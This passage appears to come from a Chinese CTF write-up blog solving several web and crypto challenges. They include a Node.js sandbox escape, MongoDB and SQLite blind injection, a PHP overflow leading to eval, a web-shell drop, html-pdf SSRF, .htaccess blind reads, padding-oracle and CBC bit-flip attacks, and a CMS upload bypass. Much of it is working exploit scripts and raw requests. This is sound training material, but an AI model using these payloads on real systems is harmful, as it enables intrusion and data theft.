res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

首先是一个弱类型比较,这个用1、[1]这种数组就可以绕过了,重点是那一段正则匹配
image.png
这样就明朗了许多,也就是Math.xxxx这种形式,这里直接给exp

1
2
3
4
5
6
(Math=>(
Math=Math.constructor,
Math.x=Math.constructor(
Math.fromCharCode(
114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41)
)()))(Math+1)

数字生成用

1
2
3
4
#coding=utf-8
payload = "return process.mainModule.require('child_process').execSync('cat /flag')"

print "("+",".join([str(ord(i)) for i in payload])+")"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: ecd97391-627d-458c-a782-34218c3f7213.node4.buuoj.cn:81
Content-Length: 415
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ecd97391-627d-458c-a782-34218c3f7213.node4.buuoj.cn:81
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ecd97391-627d-458c-a782-34218c3f7213.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSION=eyJhZG1pbiI6MCwicmVzdWx0cyI6W119; PHPSESSION.sig=SFo70cx65cwKyPASinpRUu_QwA0
Connection: close

{"e":"(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))()))(Math+1)","first":"1","second":["1"]}

[2021祥云杯]Package Manager 2021

考点:Mongodb注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import string

passwd = ""
for i in range(0,50):
for j in string.printable:
burp0_url = "http://4b183de9-b110-4c03-a5d0-bac9afc1fe3c.node4.buuoj.cn:81/auth"
burp0_cookies = {"session": "s%3ANEYdZMIlS_E9xWz2Aj_XJ3EzDD3JY87L.cgc%2B05OM1TqfGZ%2BshhJFiGgJMUuCjZ4EnOPp89RNI%2FQ"}
burp0_data = {"_csrf": "rxKdo1zr-vnheyATy42CNuyQWNX8ppI1AMS4", "token": "202cb962ac59075b964b07152d234b70\"||this.password[{}]==\"{}".format(i,j)}
print(burp0_data)
res=requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data,allow_redirects=False)
if res.status_code == 302:
passwd += j
print(passwd)

脚本如上。
注入点就在auth路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import *  as express from "express";
import { User } from "../schema";
import { checkmd5Regex } from "../utils";

const router = express.Router();

router.get('/', (_, res) => res.render('index'))

router.get('/login', (_, res) => res.render('login'))

router.post('/login', async (req, res) => {
let { username, password } = req.body;
if (username && password) {
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string") {
return res.render('login', { error: 'Parameters error' });
}
const user = await User.findOne({ "username": username })
if (!user || !(user.password === password)) {
return res.render('login', { error: 'Invalid username or password' });
}
req.session.userId = user.id
res.redirect('/packages/list')
} else {
return res.render('login', { error: 'Parameters cannot be blank' });
}
})

router.get('/register', (_, res) => res.render('register'))

router.post('/register', async (req, res) => {
let { username, password, password2 } = req.body;
if (username && password && password2) {
if (username == '' || typeof (username) !== "string" || password == '' || typeof (password) !== "string" || password2 == '' || typeof (password2) !== "string") {
return res.render('register', { error: 'Parameters error' });
}
if (password != password2) {
return res.render('register', { error: 'Password do noy match' });
}
if (await User.findOne({ username: username })) {
return res.render('register', { error: 'Username already taken' });
}
try {
const user = new User({ "username": username, "password": password, "isAdmin": false })
await user.save()
} catch (err) {
return res.render('register', { error: err });
}
res.redirect('/login');
} else {
return res.render('register', { error: 'Parameters cannot be blank' });
}
})

router.get('/logout', (req, res) => {
req.session.destroy(() => res.redirect('/'))
})


router.get('/auth', (_, res) => res.render('auth'))

router.post('/auth', async (req, res) => {
let { token } = req.body;
if (token !== '' && typeof (token) === 'string') {
if (checkmd5Regex(token)) {
try {
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()
console.log(docs);
if (docs.length == 1) {
if (!(docs[0].isAdmin === true)) {
return res.render('auth', { error: 'Failed to auth' })
}
} else {
return res.render('auth', { error: 'No matching results' })
}
} catch (err) {
return res.render('auth', { error: err })
}
} else {
return res.render('auth', { error: 'Token must be valid md5 string' })
}
} else {
return res.render('auth', { error: 'Parameters error' })
}
req.session.AccessGranted = true
res.redirect('/packages/submit')
});


export default router;

可以看到auth处存在${}字符串拼贴,可以得到管理员admin密码
image.png

[蓝帽杯 2021]One Pointer PHP

考点:数组整形溢出、FTP被动模式攻击PHP-FPM、绕过disabled_function、绕过open_basedir

这一题知识点好多。尤其是FTP的被动模式攻击,这个在前几年是很流行的一个考点,但无奈入门比较晚,现在才接触。。。。anyway现在来学
复现完了后发现完全不需要FTP啊。。。用UserFilter就可以绕过了。不过算了,直接当做一个练习的机会!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>
1
2
3
4
<?php
class User{
public $count;
}

题目主要源码如上,主要就是绕过那个if,这里整形溢出直接绕过。

1
2
3
4
5
6
7
8
<?php
class User{
public $count;
}
$user=new User();
$user->count=9223372036854775806;
echo urlencode(serialize($user))
?>

image.png
可以有效绕过。
绕过后就可以rce,phpinfo发现disable了很多function,但是可以写马
?backdoor=file_put_contents("/var/www/html/boogipop.php","<?php eval(\$_POST[1]);?>");
蚁剑连上去利用UserFIlter绕过一下disabled_function,但是,这个方法是2022出来的,题目是2021所以我等于用现代知识去打了。所以这是非预期,绕过之后就反弹一个shell回来,寻找suid权限,发现php指令是s权限
那么我们可以利用php -a 进行交互式php终端,然后提权,这里php -a得到交互终端后需要绕过open_basedir,我们使用如下方法绕过
image.png

1
2
3
4
5
6
7
8
9
10
mkdir('a');
chdir('a');
getcwd();
echo getcwd();
/var/www/html/a
ini_set('open_basedir','..');
chdir('..');
chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

最后直接readfile即可
image.png

[HXBCTF 2021]easywill

考点:代码审计、文件包含getshell

[HarekazeCTF2019]Sqlite Voting

考点:SQLITE 整形溢出 replace hex
题目源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

header("Content-Type: text/json; charset=utf-8");

// check user input
if (!isset($_POST['id']) || empty($_POST['id'])) {
die(json_encode(['error' => 'You must specify vote id']));
}
$id = $_POST['id'];
if (!is_valid($id)) {
die(json_encode(['error' => 'Vote id contains dangerous chars']));
}

// update database
$pdo = new PDO('sqlite:../db/vote.db');
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}");
if ($res === false) {
die(json_encode(['error' => 'An error occurred while updating database']));
}

// succeeded!
echo json_encode([
'message' => 'Thank you for your vote! The result will be published after the CTF finished.'
]);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# coding: utf-8
import binascii
import requests
URL = 'http://1aa0d946-f0a0-4c60-a26a-b5ba799227b6.node2.buuoj.cn.wetolink.com:82/vote.php'


l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)


table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'


res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# coding: utf-8
import binascii
import requests
URL = 'http://1e5460dc-7687-42ca-903b-d76d11d9894b.node4.buuoj.cn:81/vote.php'


l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1<<j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)


table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'


res = binascii.hexlify(b'flag{').decode().upper()
for i in range(0, l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

这一题的妙处在于使用trim构造十六进制的字母,由于题目是过滤了单双引号的,以及过滤了一些函数,这让常规操作都无法生效,但是在sqlite中||是字符串连接符。它和mysql是不一样的所以可以进行字符串连接
image.png
然后上述exp中可以通过trim(hex)的方法获取ABCDEFG,这样就可以使用任意的十六进制字符了。
image.png
去除掉字母就只剩下C
image.png
这样就得到了字母C,其他的也一样可以获取,这就是这题的妙处,然后这一题对于绕过=使用的是case...when语句
select case when 1 then 'ok' else 'fuck' end;
image.png
这一点也十分的妙,这就是这题的精髓

[2021祥云杯]secrets_of_admin

考点:XSS+SSRF
有点傻了,忘记了include是可以绕的,其实知道可以绕,但是不知道数组桡过后值还能传过来,我铸币了对不起
不过话说回来这题出的也不错的,迷惑点很多,然后考点也不是很难,完全靠的是我们的识别和审计能力了。是一次不错的锻炼。
开局给我们代码了
index.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import * as express from 'express';
import { Request, Response, NextFunction } from 'express';
import * as createError from "http-errors";
import * as pdf from 'html-pdf';
import DB from '../database';
import * as fs from 'fs';
import * as path from 'path';
import * as crypto from 'crypto';
import { promisify } from 'util';
import { v4 as uuid } from 'uuid';

const readFile = promisify(fs.readFile)

const getCheckSum = (filename: string): Promise<string> => {
return new Promise((resolve, reject) => {
const shasum = crypto.createHash('md5');
try {
const s = fs.createReadStream(path.join(__dirname , "../files/", filename));
s.on('data', (data) => {
shasum.update(data)
})
s.on('end', () => {
return resolve(shasum.digest('hex'));
})
} catch (err) {
reject(err)
}
})
}

const checkAuth = (req: Request, res:Response, next:NextFunction) => {
let token = req.signedCookies['token']
if (token && token["username"]) {
if (token.username === 'superuser'){
next(createError(404)) // superuser is disabled since you can't even find it in database :)
}
if (token.isAdmin === true) {
next();
}
else {
return res.redirect('/')
}
} else {
next(createError(404));
}
}


const router = express.Router();

router.get('/', (_, res) => res.render('index', { message: `Only admin's function is implemented. 😖 `}))

router.post('/', async (req, res) => {
let { username, password } = req.body;
if ( username && password) {
if ( username == '' || typeof(username) !== "string" || password == '' || typeof(password) !== "string" ) {
return res.render('index', { error: 'Parameters error 👻'});
}
let data = await DB.Login(username, password)
if(!data) {
return res.render('index', { error : 'You are not admin 😤'});
}
res.cookie('token', {
username: username,
isAdmin: true
}, { signed: true })
res.redirect('/admin');
} else {
return res.render('index', { error : 'Parameters cannot be blank 😒'});
}
})

router.get('/admin', checkAuth, async (req, res) => {
let token = req.signedCookies['token'];
try {
const files = await DB.listFile(token.username);
if (files) {
res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
}
} catch (err) {
return res.render('admin', { error: 'Something wrong ... 👻'})
}
return res.render('admin');
});

router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});
2
// You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});

router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});

export default router;

app.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import * as express from 'express';
import {Request, Response, NextFunction} from 'express';
import {HttpError} from 'http-errors';
import * as cookieParser from 'cookie-parser';
import * as bodyParser from 'body-parser';
import * as path from 'path';
import * as logger from 'morgan';
import router from './routes/index';
import * as createError from 'http-errors';


const app = express();


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(logger('dev'));
app.use('/static',express.static(path.join(__dirname,'static')));
app.use(cookieParser('💣🏁😓🐋🍓'));
app.use(bodyParser.urlencoded({extended: true}));

app.use('/',router);

app.use((_: Request, _res: Response, next: NextFunction) => {
next(createError(404));
});

app.use((err: HttpError, _: Request, res: Response, next: NextFunction) => {
if (res.headersSent) {
return next(err);
}
res.locals.message = err.message;
res.locals.error = err;
res.locals.status = (err.status || 500)
res.status(err.status || 500);
res.render('error');
});

app.listen(8888, () => console.log('Listening at port 8888'));

database.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import * as sqlite3 from 'sqlite3';

let db = new sqlite3.Database('./database.db', (err) => {
if (err) {
console.log(err.message)
} else {
console.log("Successfully Connected!");
db.exec(`
DROP TABLE IF EXISTS users;

CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL,
password VARCHAR(255) NOT NULL
);

INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');

DROP TABLE IF EXISTS files;

CREATE TABLE IF NOT EXISTS files (
username VARCHAR(255) NOT NULL,
filename VARCHAR(255) NOT NULL UNIQUE,
checksum VARCHAR(255) NOT NULL
);

INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);
console.log('Init Finished!')
}
});

export default class DB {
static Login(username: string, password: string): Promise<any> {
return new Promise((resolve, reject) => {
db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err , result ) => {
if (err) return reject(err);
resolve(result !== undefined);
})
})
}

static getFile(username: string, checksum: string): Promise<any> {
return new Promise((resolve, reject) => {
db.get(`SELECT filename FROM files WHERE username = ? AND checksum = ?`, username, checksum, (err , result ) => {
if (err) return reject(err);
resolve(result ? result['filename'] : null);
})
})
}

static listFile(username: string): Promise<any> {
return new Promise((resolve, reject) => {
db.all(`SELECT filename, checksum FROM files WHERE username = ? ORDER BY filename`, username, (err, result) => {
if (err) return reject(err);
resolve(result);
})
})
}

static Create(username: string, filename: string, checksum: string): Promise<any> {
return new Promise((resolve, reject) => {
try {
let query = `INSERT INTO files(username, filename, checksum) VALUES('${username}', '${filename}', '${checksum}');`;
resolve(db.run(query));
} catch (err) {
reject(err);
}
})
}
}


给3个ts文件,其中index.ts是路由文件,database.ts代表数据库处理,在里面有一个很迷惑的${}让我一开始以为义眼丁真是sql注入。结果没他啥事情
看完了之后不难知道,我们需要读取files目录下的flag文件,但是flag是superuser用户的,我们是admin用户,如果我们是superuser,我们也读取不到,因为有一层判断。
因此我们需要做的事情是,通过/api/files路由,进行SSRF,给admin用户添加一个flag文件,然后我们就可以读取拉~
image.png
tml-pdf 用到了phanthomjs渲染,因此存在ssrf漏洞,这边我们只需要让content里包含一个xss的代码,他就会去渲染,进而造成ssrf漏洞了。一个小tips
然后content里做了waf处理,但是可以用数组绕过。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin HTTP/1.1
Host: 066a7b81-c575-4196-b7ca-281b413713ca.node4.buuoj.cn:81
Content-Length: 138
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://066a7b81-c575-4196-b7ca-281b413713ca.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://066a7b81-c575-4196-b7ca-281b413713ca.node4.buuoj.cn:81/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22files%22%3A%5B%5D%2C%22isAdmin%22%3Atrue%7D.F56WSi1msokS7QwqhYWcJm%2FBhe1UiZ%2FxOtKnM%2BaehVU
Connection: close

content[]=%3Cimg%20src%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D.%2Fflag%26checksum%3D114514%22%3E

image.png
image.png
image.png

[JMCTF 2021]UploadHub

考点:.htaccess盲注、文件上传
这一题的考点比较好玩,可以用htaccess文件来打盲注,题目给了源码,就不放出来了,没啥过滤的文件上传,怪怪的。
传htaccess过去后内容如下

1
2
3
<If "file('/flag')=~ '/flag{/'">
ErrorDocument 404 "boogipop"
</If>

如果匹配到就返回一个404界面,内容是boogipop,这就可以拿来当盲注了。
或者直接包含.htaccess

1
2
3
4
5
6
7
8
<FilesMatch .htaccess>
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>

php_value auto_prepend_file .htaccess
#<?php eval($_POST['dmind']);?>

校园网有waf,不传了。

[NPUCTF2020]web🐕

考点:CBC字节翻转攻击、Padding Oracle攻击
攻击原理可以参考这篇文章:
https://www.cnblogs.com/tr1ple/p/11114958.html
简单地说一下,CBC加密方式为分组加密,一般为16一组
image.png
初始时有初始向量,密钥,以及明文,明文与初始向量异或以后得到中间明文,然后其再和密钥进行加密将得到密文,得到的密文将作为下一个分组的初始向量,与下一个分组的明文进行异或得到的二组的中间明文,依次类推。
然后解密过程也是如此,逆着来罢了
image.png
假如我们想要进行padding oracle攻击获取明文,我们只需要记住一个公式
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
我摊牌了,就是懒得写前端
<?php
error_reporting(0);
include('config.php'); # $key,$flag
define("METHOD", "aes-128-cbc"); //定义加密方式
define("SECRET_KEY", $key); //定义密钥
define("IV","6666666666666666"); //定义初始向量 16个6
define("BR",'<br>');
if(!isset($_GET['source']))header('location:./index.php?source=1');


#var_dump($GLOBALS); //听说你想看这个?
function aes_encrypt($iv,$data)
{
echo "--------encrypt---------".BR;
echo 'IV:'.$iv.BR;
return base64_encode(openssl_encrypt($data, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)).BR;
}
function aes_decrypt($iv,$data)
{
return openssl_decrypt(base64_decode($data),METHOD,SECRET_KEY,OPENSSL_RAW_DATA,$iv) or die('False');
}
if($_GET['method']=='encrypt')
{
$iv = IV;
$data = $flag;
echo aes_encrypt($iv,$data);
} else if($_GET['method']=="decrypt")
{
$iv = @$_POST['iv'];
$data = @$_POST['data'];
echo aes_decrypt($iv,$data);
}
echo "我摊牌了,就是懒得写前端".BR;

if($_GET['source']==1)highlight_file(__FILE__);
?>

题目源码如上,这一题就是padding oracle注入,已知初始向量和密文,让我们获取明文,这里是大佬写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# coding:utf-8
import requests
import base64
import time
# b'\x97.\xda\xb8\xa5P\t\x95\xae\x9b\xf5\xbf\xe2\x8b.<'
CYPHERTEXT = base64.b64decode("ly7auKVQCZWum/W/4osuPA==")
# initialization vector
IV = "6666666666666666"
# PKCS7 16个字节为1组
N = 16
# intermediaryValue ^ IV = plainText
inermediaryValue = ""
plainText = ""
# 爆破时不断需要更改的iv
iv = ""
URL = "http://bbe51fc0-eeac-4b1b-9f8d-c460bb9270e8.node4.buuoj.cn:81/index.php?source=1&method=decrypt"


def xor(a, b):
"""
用于输出两个字符串对位异或的结果
"""
return "".join([chr(ord(a[i]) ^ ord(b[i])) for i in range(len(a))])

for step in range(1, N + 1):
padding = chr(step) * (step - 1)
print(step,end=",")
for i in range(0, 256):
print(i)
"""
iv由三部分组成:
待爆破位置 chr(0)*(N-step)
正在爆破位置 chr(i)
使 iv[N-step+1:] ^ inermediaryValue = padding 的 xor(padding,inermediaryValue)
"""
iv = chr(0)*(N-step)+chr(i)+xor(padding,inermediaryValue)
data = {
"data": "ly7auKVQCZWum/W/4osuPA==",
"iv": iv
}
r = requests.post(URL,data = data)
time.sleep(0.1)
if r.text !="False":
inermediaryValue = xor(chr(i),chr(step)) + inermediaryValue
print(inermediaryValue)
break

plainText = xor(inermediaryValue,IV)
print(plainText)

image.png
继续访问FlagIsHere.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
eFbQsEEn3mMvggbTmA262Q==
<?php
#error_reporting(0);
include('config.php'); //$fl4g
define("METHOD", "aes-128-cbc");
define("SECRET_KEY", "6666666");
session_start();

function get_iv(){ //生成随机初始向量IV
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

$lalala = 'piapiapiapia';

if(!isset($_SESSION['Identity'])){
$_SESSION['iv'] = get_iv();

$_SESSION['Identity'] = base64_encode(openssl_encrypt($lalala, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $_SESSION['iv']));
}
echo base64_encode($_SESSION['iv'])."<br>";

if(isset($_POST['iv'])){
$tmp_id = openssl_decrypt(base64_decode($_SESSION['Identity']), METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_POST['iv']));
echo $tmp_id."<br>";
if($tmp_id ==='weber')die($fl4g);
}

highlight_file(__FILE__);
?>

这里涉及一个CBC字节翻转,翻转的原理如下
image.png

1
2
3
4
5
6
7
8
9
10
import requests
import base64
target = b'weber\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'
orginal = b'piapiapiapia\x04\x04\x04\x04'
iv = base64.b64decode('eFbQsEEn3mMvggbTmA262Q==')#替换
result = b''
for i in range(16):
result+=bytes([target[i] ^ iv[i] ^ orginal[i]])

print(base64.b64encode(result))

用该脚本进行翻转
获取恶意的IV了f1rTpVpNpQFF+WS5lwK11g==
输入获得
image.png
然后获取一个class文件,直接运行输出flag
image.png

[网鼎杯 2020 半决赛]faka

考点:代码审计、CMS、任意文件上传
源码已经给了,漏洞点定位在后台的文件上传
Plugs.php有如下节选内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* 通用文件上传
* @return \think\response\Json
*/
public function upload()
{
$file = $this->request->file('file');
$ext = strtolower(pathinfo($file->getInfo('name'), 4));
$md5 = str_split($this->request->post('md5'), 16);
$filename = join('/', $md5) . ".{$ext}";
if (strtolower($ext) == 'php' || !in_array($ext, explode(',', strtolower(sysconf('storage_local_exts'))))) {
return json(['code' => 'ERROR', 'msg' => '文件上传类型受限']);
}
// 文件上传Token验证
if ($this->request->post('token') !== md5($filename . session_id())) {
return json(['code' => 'ERROR', 'msg' => '文件上传验证失败']);
}
// 文件上传处理
if (($info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true))) {
if (($site_url = FileService::getFileUrl($filename, 'local'))) {
return json(['data' => ['site_url' => $site_url], 'code' => 'SUCCESS', 'msg' => '文件上传成功']);
}
}
return json(['code' => 'ERROR', 'msg' => '文件上传失败']);
}

这一部分文件上传乍一看没什么问题,strtolower($ext) == 'php' || !in_array($ext, explode(',', strtolower(sysconf('storage_local_exts')使用了白名单认证,无懈可击,但是我们但凡往后跟几步就会发现不对劲。之后调用move函数保存文件
image.png
会调用buildSaveName保存文件,因此跟进
image.png
注意if (!strpos($savename, '.')),如果我们上传的md5后半段有.的话,那就直接返回了。也就是说假如md5为ab61ae319127e259d05926783c3c.php那就可以上传php文件了。
根据上图的处理,这个框架的上传流程如下

因此很容易发现md5处存在破绽。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/plugs/upstate.html HTTP/1.1
Host: adfe451a-76ff-4d5e-8f3a-ced04e214cdd.node4.buuoj.cn:81
Content-Length: 77
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.57
